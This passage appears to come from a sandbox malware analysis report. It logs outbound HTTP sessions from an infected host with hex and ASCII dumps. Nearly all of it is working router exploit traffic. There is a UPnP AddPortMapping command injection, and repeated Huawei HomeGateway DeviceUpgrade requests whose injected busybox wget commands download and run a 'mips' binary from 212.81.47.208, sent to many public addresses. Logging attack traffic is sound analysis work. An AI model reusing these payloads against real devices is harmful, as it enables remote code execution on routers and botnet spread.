74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.14	60542	41.117.90.30	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:33.146523952 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.14	40704	156.66.149.192	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:33.198698997 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.14	47160	41.171.16.118	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:33.539798975 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.14	60704	41.86.83.79	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:33.540833950 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.14	51236	41.154.34.131	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:33.541470051 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.14	36658	197.229.233.212	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:33.542896032 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.14	53472	41.149.45.189	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:33.544190884 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.14	41842	197.150.131.152	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:35.812200069 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.14	55290	156.102.41.67	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:35.812807083 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.14	44382	156.164.50.81	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:35.913017988 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.14	58000	197.208.202.223	37215

Timestamp	Bytes transferred	Direction	Data
